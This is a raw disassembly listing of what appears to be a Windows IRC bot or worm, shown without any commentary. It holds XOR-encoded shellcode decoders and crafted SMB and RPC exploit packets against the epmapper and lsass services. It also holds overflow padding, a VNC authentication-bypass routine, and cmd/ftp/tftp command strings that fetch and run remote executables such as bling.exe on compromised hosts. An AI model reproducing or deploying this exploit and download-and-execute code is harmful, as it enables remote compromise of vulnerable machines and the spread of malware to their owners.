pop edi xor esi, esi pusha push esi jmp short loc_43238A sub_432352 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43237D proc near ; CODE XREF: sub_432352:loc_43238Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_43237D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_432352 loc_43238A: ; CODE XREF: sub_432352+29j call sub_43237D loc_43238F: ; DATA XREF: sub_40CD9E+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_432352 ; --------------------------------------------------------------------------- dw 0 dword_432394 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o dword_4323A0 dd 30h ; DATA XREF: sub_40CD9E+2CAo dword_4323A4 dd 0A1h ; DATA XREF: sub_40CD9E+29Fo dword_4323A8 dd 3 ; DATA XREF: sub_40CD9E+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CD9E+153o align 4 loc_4323B4: ; DATA XREF: sub_40CD9E+E8o jmp short near ptr dword_4323BC ; --------------------------------------------------------------------------- db 6 dup(90h) dword_4323BC dd 0 ; CODE XREF: ___:loc_4323B4j aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D5F4o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 4 dword_432424 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: ___:0040E02Do ; ___:0040E167o dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_432470 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_40DCF9+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_4327D4 dd 20h, 0 ; DATA XREF: sub_40DCF9+136o dd 20h, 5C005Ch, 0 off_4327E8 dd offset aLafler ; DATA XREF: sub_40DCF9+15Do ; "Lafler" dd offset dword_5C0024 a12345611111111: unicode 0, <123456111111111111111.doc>,0 align 8 dword_432828 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) off_43285C dd offset word_580046 ; DATA XREF: sub_40DCF9+45o dd offset loc_42004C+2 dd offset word_580046 dd offset word_580046 dd offset loc_42004C+2 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░' db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░' db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░',0 dword_432938 dd 10016C6h ; DATA XREF: sub_40DCF9+104o dword_43293C dd 100139Dh ; DATA XREF: sub_40DCF9+FBo off_432940 dd offset dword_5C005C ; DATA XREF: sub_40DB5E+1Co ; sub_40DC41+16o align 8 off_432948 dd offset dword_49005C ; DATA XREF: sub_40DB5E+Co ; sub_40DC41+Bo dd offset aLallemant+8 dd 24h aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E235o ; ___:0040E99Eo ... align 10h aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1E8o align 4 aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF8Do align 10h jmp short loc_4329C2 ; =============== S U B R O U T I N E ======================================= sub_4329B2 proc far ; CODE XREF: sub_4329B2:loc_4329C2p pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_4329BA: ; CODE XREF: sub_4329B2+Cj xor byte ptr [ebx+ecx], 99h loop loc_4329BA jmp short loc_4329C7 ; --------------------------------------------------------------------------- loc_4329C2: ; CODE XREF: ___:004329B0j call near ptr sub_4329B2 loc_4329C7: ; CODE XREF: sub_4329B2+Ej jo short loc_432A2B cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_432A49 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_432A2B: ; CODE XREF: sub_4329B2:loc_4329C7j mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_432A49: ; CODE XREF: sub_4329B2+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_4329B2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_432AF0: ; DATA XREF: sub_40E3F1+156o ; sub_40E3F1+212o jmp short loc_432B02 ; =============== S U B R O U T I N E ======================================= sub_432AF2 proc near ; CODE XREF: sub_432AF2:loc_432B02p pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_432AFA: ; CODE XREF: sub_432AF2+Cj xor byte ptr [edx+ecx], 99h loop loc_432AFA jmp short loc_432B07 ; --------------------------------------------------------------------------- loc_432B02: ; CODE XREF: ___:loc_432AF0j call sub_432AF2 loc_432B07: ; CODE XREF: sub_432AF2+Ej jo short near ptr dword_432A80+1Eh cwde cdq cdq retn sub_432AF2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_432BA0 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_40E3F1+105o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_432C88 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: ___:0040E8A6o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_432D14 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:0040E8D2o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_432DC0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:0040E8F9o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_432EA0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_0: ; DATA XREF: sub_40E3F1+8Ao unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_432F04 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+2AAo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_432F70 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+2D1o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_433014 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+3B0o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_433094 dd offset loc_401495 ; DATA XREF: sub_40E3F1+3DEo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_433128 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+306o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_433194 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+331o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_433208 dd 0 ; DATA XREF: sub_40E3F1+35Fo dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 2 dup(0) word_433290 dw 0AD9Dh ; DATA XREF: sub_40E292+30r ; sub_40E3F1+E7r align 4 dd 2 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 10h dword_4332D0 dd 1004600h ; DATA XREF: sub_40E3F1+140r ; sub_40E3F1+245r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: sub_40E292+BCo db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o ; --------------------------------------------------------------------------- loc_433408: ; DATA XREF: sub_40E3F1+177o jmp short loc_433410 ; --------------------------------------------------------------------------- jmp short loc_433412 ; --------------------------------------------------------------------------- align 10h loc_433410: ; CODE XREF: ___:loc_433408j ; DATA XREF: sub_40E3F1+27o pop esp pop esp loc_433412: ; CODE XREF: ___:0043340Aj and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_43341C dd 1CEC8166h ; DATA XREF: sub_40E3F1+Dr dword_433420 dd 0E4FF07h ; DATA XREF: sub_40E3F1+16r dword_433424 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40E9FB+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EE25o align 4 aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040ECB2o align 4 word_4346DC dw 1 ; DATA XREF: ___:0040EC29r ; sub_41B55B+24r ... align 10h dword_4346E0 dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_41A1B1+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch dd 207C2038h, 336E5730h, 203E2044h, 7325h, 20363232h, 6E617254h dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 10h aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 10h a226TransferCom db '226 Transfer complete',0Ah,0 align 4 aList_0 db 'LIST',0 align 10h a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:004387E8o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:004387F4o unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass_0 db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_2 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_4349C4 db 2Dh ; - ; DATA XREF: sub_40FAD6+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_4349EC db 0Dh,0Ah,0 ; DATA XREF: sub_40FAD6+2CFo ; sub_41AA1E+F5o align 10h aGet_0 db 'GET ',0 ; DATA XREF: sub_40FAD6+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FF31+98o ; sub_41AF8F+1AEo align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o align 10h aTextHtml db 'text/html',0 ; DATA XREF: sub_40FF31+5Fo align 4 unk_434C0C db 2Dh ; - ; DATA XREF: sub_4100B4+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_34 db ' failed to start worker thread, error %d',0 align 4 unk_434C44 db 2Dh ; - ; DATA XREF: sub_4100B4+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 asc_434C78: ; DATA XREF: sub_4100B4+15Ao unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_4100B4+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_41036B+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_41036B+61Co align 10h a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA 